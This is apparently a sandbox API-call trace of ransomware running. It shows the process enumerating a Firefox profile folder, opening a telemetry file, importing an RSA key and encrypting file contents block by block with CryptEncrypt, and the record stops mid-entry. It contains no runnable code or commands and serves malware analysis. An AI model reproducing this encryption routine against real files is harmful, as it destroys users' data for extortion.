pszFile="2017-09" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09" [0161.664] GetProcessHeap () returned 0x1600000 [0161.664] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x1745cf8 [0161.664] PathCombineW (in: pszDest=0x1745cf8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\*" [0161.664] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa4, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0161.666] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa4, cFileName="..", cAlternateFileName="")) returned 1 [0161.666] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14723fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14723fca, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14728de9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xbdc, dwReserved0=0x0, dwReserved1=0xa4, cFileName="1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4", cAlternateFileName="150478~1.JSO")) returned 1 [0161.666] GetProcessHeap () returned 0x1600000 [0161.666] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x16e) returned 0x174bb50 [0161.666] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" [0161.666] StrStrW (lpFirst=".omnisphere", lpSrch=".jsonlz4") returned 0x0 [0161.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.667] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=3036) returned 1 [0161.667] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x6b8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.667] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e0be84, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0c3cc, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesRead=0x3e0c3cc*=0x524, lpOverlapped=0x0) returned 1 [0161.685] GetTickCount () returned 0x1168285 [0161.685] GetTickCount () returned 0x1168285 [0161.685] GetTickCount () returned 0x1168285 [0161.685] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.686] GetTickCount () returned 0x1168285 [0161.687] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1668e78) returned 1 [0161.687] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x1639568) returned 1 [0161.687] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0161.688] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.688] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0161.688] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbdc, lpName=0x0) returned 0x398 [0161.688] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbdc) returned 0x1480000 [0161.688] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x16682c8) returned 1 [0161.689] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x16397a8) returned 1 [0161.689] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.689] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.690] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.691] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, 